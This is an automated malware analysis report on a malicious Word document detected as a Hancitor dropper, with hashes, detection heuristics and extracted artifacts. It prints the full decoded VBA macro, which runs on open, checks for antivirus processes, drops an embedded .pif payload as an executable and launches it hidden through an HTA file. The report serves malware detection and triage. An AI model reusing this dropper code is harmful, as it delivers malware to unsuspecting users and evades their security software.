Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 625e174abe4244dd…

MALICIOUS

Office (OLE)

223.0 KB Created: 2018-09-27 13:03:00 Authoring application: Microsoft Office Word First seen: 2019-05-10
MD5: d37ef76c88342274d78909c7309d6de0 SHA-1: f7b8d9b324727bb2139b6fa38fc4fc3fd52751c6 SHA-256: 625e174abe4244dd01b8fb82aaad4b7200c6f324e6e6ea7bc0d7a0e8dba247e0
838 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.005 Visual Basic T1140 Deobfuscate or Obfuscate Malicious Code T1027 Obfuscated Files or Information

The sample exploits CVE-2007-3899, a memory corruption vulnerability in Microsoft Word, to execute a Document_Open VBA macro. This macro utilizes WScript.Shell and Win32_Process to launch a Base64-decoded command stager, which appears to be 'cmd.exe /c ping localhost -n 100 &&'. The macro also attempts to save the document as an XML document and quit the application, likely to clean up. An embedded PE executable and an Ole10Native package are also present, suggesting a dropper functionality.

Heuristics 20

  • CVE-2007-3899 — Microsoft Word malformed string memory corruption critical CVE likely CVE_2007_3899
    Word OLE document has the MS07-060 malformed-string exploit shape: a Word 97-family FIB points to a malformed DOP/string-table region with an abnormal INT_MAX run, inflated text counters, and exploit payload or Mdropper.Z campaign evidence.
  • Office EPRINT stream contains EMF object high CVE related OLE_EPRINT_EMF_OBJECT
    OLE ObjectPool contains an EPRINT stream with EMF data. This is rare in normal documents and is related Office object-delivery evidence when paired with exploit payload anomalies, but the malformed graphics record required for exact CVE attribution is not proven by this rule alone.
  • ClamAV: Doc.Dropper.Hancitor-6774061-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Hancitor-6774061-0
  • XOR-encoded strings (key 0x63) critical SC_XOR_ENCODED
    Found 3 Windows library/API name(s) XOR-encoded with single-byte key 0x63: 'LoadLibraryA', 'GetProcAddress', 'VirtualAlloc'
    Disassembly
    x86 disassembly · validity: uncertain (0.484) — no internal branches to corroborate control flow
    000226A5  2f                das
000226A6  0c02              or al, 2
000226A8  07                pop es
000226A9  2f                das
000226AA  0a01              or al, byte ptr [ecx]
000226AC  1102              adc dword ptr [edx], eax
000226AE  111a              adc dword ptr [edx], ebx
000226B0  2263e0            and ah, byte ptr [ebx - 0x20]
000226B3  a360eae67b        mov dword ptr [0x7be6ea60], eax
000226B8  9c                pushfd
000226B9  9c                pushfd
000226BA  9c                pushfd
000226BB  3be8              cmp ebp, eax
000226BD  e67b              out 0x7b, al
000226BF  9c                pushfd
000226C0  9c                pushfd
000226C1  9c                pushfd
000226C2  33e8              xor ebp, eax
000226C4  2e93              xchg ebx, eax
000226C6  329c36bbeae657    xor bl, byte ptr [esi + esi + 0x57e6eabb]
000226CD  9c                pushfd
000226CE  9c                pushfd
000226CF  9c                pushfd
000226D0  338b63636363      xor ecx, dword ptr [ebx + 0x63636363]
000226D6  3b886e350a11      cmp ecx, dword ptr [eax + 0x110a356e]
000226DC  17                pop ss
000226DD  16                push ss
000226DE  020f              add cl, byte ptr [edi]
000226E0  220f              and cl, byte ptr [edi]
000226E2  0f                .byte 0x0f
000226E3  0c00              or al, 0
000226E5  63e0              arpl ax, sp
000226E7  a360eae65b        mov dword ptr [0x5be6ea60], eax
000226EC  9c                pushfd
000226ED  9c                pushfd
000226EE  9c                pushfd
000226EF  3be8              cmp ebp, eax
000226F1  f65b9c            neg byte ptr [ebx - 0x64]
000226F4  9c                pushfd
000226F5  9c                pushfd
000226F6  31e8              xor eax, ebp
000226F8  2693              xchg ebx, eax
000226FA  339c36bbea26db    xor ebx, dword ptr [esi + esi - 0x24d91545]
00022701  33                .byte 0x33
00022702  8b6363            mov esp, dword ptr [ebx + 0x63]
  • Embedded PE executable critical OLE_EMBEDDED_EXE
    MZ/PE header found inside document — possible embedded executable
  • Ole10Native package drops an auto-executable payload critical OFFICE_PACKAGE_RISKY_FILE
    OLE Package displayName or fullPath ends in a directly auto-executable extension (a runnable binary or a script the default shell host runs on double-click). Embedding such a payload inside an Office document has no benign authoring use — it is a malware-delivery dropper.
  • VBA macros detected medium 9 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
      Shell StrConv(DecodeBase64("Y21kLmV4ZSAvYyAgcGluZyBsb2NhbGhvc3QgLW4gMTAwICYmIA=="), vbUnicode) & Environ(StrConv(DecodeBase64("VGVtcA=="), vbUnicode)) & "\6.e" & "x" & "e", vbHide
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set wsh = VBA.CreateObject("WScript.Shell")
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
    Matched line in script
    Set vcxvxczcv = GetObject("wi" & "nmgmts:")
  • VBA Base64-decoded Shell command stager critical OLE_VBA_BASE64_SHELL_COMMAND_STAGER
    VBA auto-exec macro decodes Base64 string literals into command or script-launch text and executes the result with Shell. This catches cmd/cscript/PowerShell/VBS launchers hidden from plain keyword matching.
    Matched line in script
    Set vcxvxczcv = GetObject("wi" & "nmgmts:")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set wsh = VBA.CreateObject("WScript.Shell")
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Set vcxvxczcv = GetObject("wi" & "nmgmts:")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    Open Environ("Temp") & "\1.hta" For Output As #1
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Reference to VirtualProtect API medium SC_STR_VIRTUALPROTECT
    Reference to VirtualProtect API
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6039 bytes
SHA-256: 381ed55715cd80b983072b52ba54df581b64935b3dd2e02302cdfe4811ba184f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
On Error Resume Next


Call kfs
    


Call sdfsdf

 Set d = New DataObject
    d.SetText " "
    d.PutInClipboard
    Selection.MoveUp Unit:=wdScreen, Count:=7
   Selection.MoveUp Unit:=wdScreen, Count:=7
    Selection.MoveLeft Unit:=wdCharacter, Count:=13

  Dim t As Date
    t = Now
    Do
        DoEvents
    Loop Until Now >= DateAdd("s", 3, t)


Call Module1.killo

End Sub

Private Sub Document_Close()
Call closee

End Sub

Private Function DecodeBase64(ByVal strData As String) As Byte()

 

    Dim objXML As MSXML2.DOMDocument
    Dim objNode As MSXML2.IXMLDOMElement
    

    Set objXML = New MSXML2.DOMDocument
    Set objNode = objXML.createElement("b64")
    objNode.dataType = "bin.base64"
    objNode.Text = strData
    DecodeBase64 = objNode.nodeTypedValue
    
    Set objNode = Nothing
    Set objXML = Nothing

 

End Function

Attribute VB_Name = "Module1"
Sub killo()
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatXMLDocument
Application.Quit
End Sub

Attribute VB_Name = "Module2"
Sub closee()


Dim kjfaa

kjfaa = "bd" & "agent.exe"

Dim yrtfdsad, vcxvxczcv
Dim mbbmbdf
Set vcxvxczcv = GetObject("wi" & "nmgmts:")
Dim gfdfsfsfs
Set yrtfdsad = vcxvxczcv.ExecQuery("SELECT * FROM Win32_Process")
Dim hdffsdfs
For Each x In yrtfdsad
Set wsh = VBA.CreateObject("WScript.Shell")
Dim pipec As Boolean: pipec = True


 If x.Name = kjfaa Then
 Dim kk
 kk = StrConv(DecodeBase64("IFd" & "JTkRPV1NUQVRFPSJub3JtYWwiPg0KICAgIDxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0IiBsYW5ndWFnZT0iamF2YXNjcmlwdCI+DQogICAgDQogICAgICAgIFdzaFNoZWxsID0gbmV3IEFjdGl2ZVhPYmplY3QoIldTY3JpcHQuU2hlbGwiKTsNCiAgICAgICAgV3NoU2hlbGwuUnVuKCI2LmV4ZSIsIDEsIGZhbHNlKTsNCiAgICAgICAgDQogICAgPC9zY3JpcHQ+DQogPFNDUklQVCBMQU5HVUFHRT0iVkJTY3JpcHQiPg0KICAgICAgICAgIFdpbmRvdy5DbG9zZQ0KICAgICA8L1NDUklQVD4NCjwvaGVhZD4NCjxib2R5Pg0KICAgDQo8L2JvZHk+DQo8L2h0bWw+DQo="), vbUnicode)
 
Open Environ("Temp") & "\1.hta" For Output As #1
  Print #1, StrConv(DecodeBase64("PGh0bWw+DQo8aGVhZD4NCiA8U0NSSVBUIExBTkdVQUdFPSJWQlNjcmlwdCI+DQogICAgICAgICAgV2luZG93Lk1vdmVUbyAtMzIwMDAsIC0zMjAwMA0KICAgICA8L1NDUklQVD4NCiAgICA8dGl0bGU+QXBwbGljYXRpb24gRXhlY3V0ZXI8L3RpdGxlPg0KICAgIDxIVEE6QVBQTElDQVRJT04gSUQ9Im9NeUFwcCIgDQogICAgICAgIEFQUExJQ0FUSU9OTkFNRT0iQXBwbGljYXRpb24gRXhlY3V0ZXIiIA0KICAgICAgICBCT1JERVI9Im5vIg0KICAgICAgICBDQVBUSU9OPSJubyINCiAgICAgICAgU0hPV0lOVEFTS0JBUj0ieWVzIg0KICAgICAgICBTSU5HTEVJTlNUQU5DRT0ieWVzIg0KICAgICAgICBTWVNNRU5VPSJ5ZXMiDQogICAgICAgIFNDUk9MTD0ibm8i"), vbUnicode)
  Print #1, kk
  Close #1
  
ChDir Environ("Temp")
wsh.Run Environ("Temp") & "\1.hta", 0, False
Exit Sub
   End If
    
   
    If x.Name = "PSUAMain.exe" Then

  Shell StrConv(DecodeBase64("Y21kLmV4ZSAvYyAgcGluZyBsb2NhbGhvc3QgLW4gMTAwICYmIA=="), vbUnicode) & Environ(StrConv(DecodeBase64("VGVtcA=="), vbUnicode)) & "\6.e" & "x" & "e", vbHide

Exit Sub
   End If
   
       If x.Name = "n360.exe" Then

  Shell Environ(StrConv(DecodeBase64("VGVtcA=="), vbUnicode)) & "\6.e" & "x" & "e", vbHide

Exit Sub
   End If
Next


Shell StrConv(DecodeBase64("Y21kLmV4ZSAvYyAgcGluZyBsb2NhbGhvc3QgLW4gMTAwICYmIA=="), vbUnicode) & Environ(StrConv(DecodeBase64("VGVtcA=="), vbUnicode)) & StrConv(DecodeBase64("XDYucGlm"), vbUnicode), vbHide


End Sub


Private Function DecodeBase64(ByVal strData As String) As Byte()

 

    Dim objXML As MSXML2.DOMDocument
    Dim objNode As MSXML2.IXMLDOMElement
    

    Set objXML = New MSXML2.DOMDocument
    Set objNode = objXML.createElement("b64")
    objNode.dataType = "bin.base64"
    objNode.Text = strData
    DecodeBase64 = objNode.nodeTypedValue
    
    Set objNode = Nothing
    Set objXML = Nothing

 

End Function



Attribute VB_Name = "Module3"
Sub kfs()
Selection.MoveDown Unit:=wdScreen, Count:=7
    Selection.MoveDown Unit:=wdScreen, Count:=7
 Selection.MoveRight Unit:=wdCharacter, Count:=24
    Selection.TypeBackspace
        Selection.Copy

End Sub

Attribute VB_Name = "Module4"

Sub sdfsdf()

Dim kk, lll, jgf, tyretw, gdfsfsa
gdfsfsa = "6"
jgf = "x" & "e"

tyretw = jgf & "p" & "i" & "f"
kk = ".p" & "if"
lll = "6" & ".e"
ChDir Environ("Te" & "mp")
Selection.TypeBackspace

   Dim FSO As Object
Set FSO = CreateObject("scripting.filesystemobject")


FSO.copyfile Source:="5C" & kk, Destination:=lll & jgf
Call fadf
End Sub
Private Function DecodeBase64(ByVal strData As String) As Byte()

 

    Dim objXML As MSXML2.DOMDocument
    Dim objNode As MSXML2.IXMLDOMElement
    

    Set objXML = New MSXML2.DOMDocument
    Set objNode = objXML.createElement("b64")
    objNode.dataType = "bin.base64"
    objNode.Text = strData
    DecodeBase64 = objNode.nodeTypedValue
    
    Set objNode = Nothing
    Set objXML = Nothing

 

End Function
Sub fadf()
kk = ".p" & "if"

   Dim FSO As Object
Set FSO = CreateObject("scripting.filesystemobject")

FSO.copyfile Source:="5C" & kk, Destination:="6" & ".pif"
End Sub


Attribute VB_Name = "UserForm3"
Attribute VB_Base = "0{03597D0D-30AB-4D75-A9F6-EE18B61C8BF3}{A9048FBB-A586-4F13-AAE7-1E7F621C35B3}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{3C891EA0-7856-4307-ADB2-3551DDC31345}{2D23EF38-5B2A-4D92-A550-6B64DF9CDBD6}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
embedded_office_00018266.exe embedded-pe Office MZ+PE at offset 0x18266 129434 bytes
SHA-256: bb04da3a5a5fe6c1a325a1f108fc6388566b6d460b70c8620a38d88bf0fd8aea
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered command string(s): WScript.Shell Carved macro source contains an auto-exec entry point and execution/download terms.
ole10native_00.bin ole-package OLE Ole10Native stream: ObjectPool/_1599569394/Ole10Native 82196 bytes
SHA-256: 607d0026727bf484073c93caf0e7528374a294890394b147fc5d7616be42108e
ole10native_00_5C.pif ole-package-payload OLE Ole10Native payload: ObjectPool/_1599569394/Ole10Native; display_name=5C.pif; full_path=C:\Users\win7home\AppData\Local\Temp\5C.pif; temp_path=; def_file= 81920 bytes
SHA-256: 490f6ee013a56c01dc57fa2e9f5bc7634d5a0800f07c3a820f8eac92efcbacef

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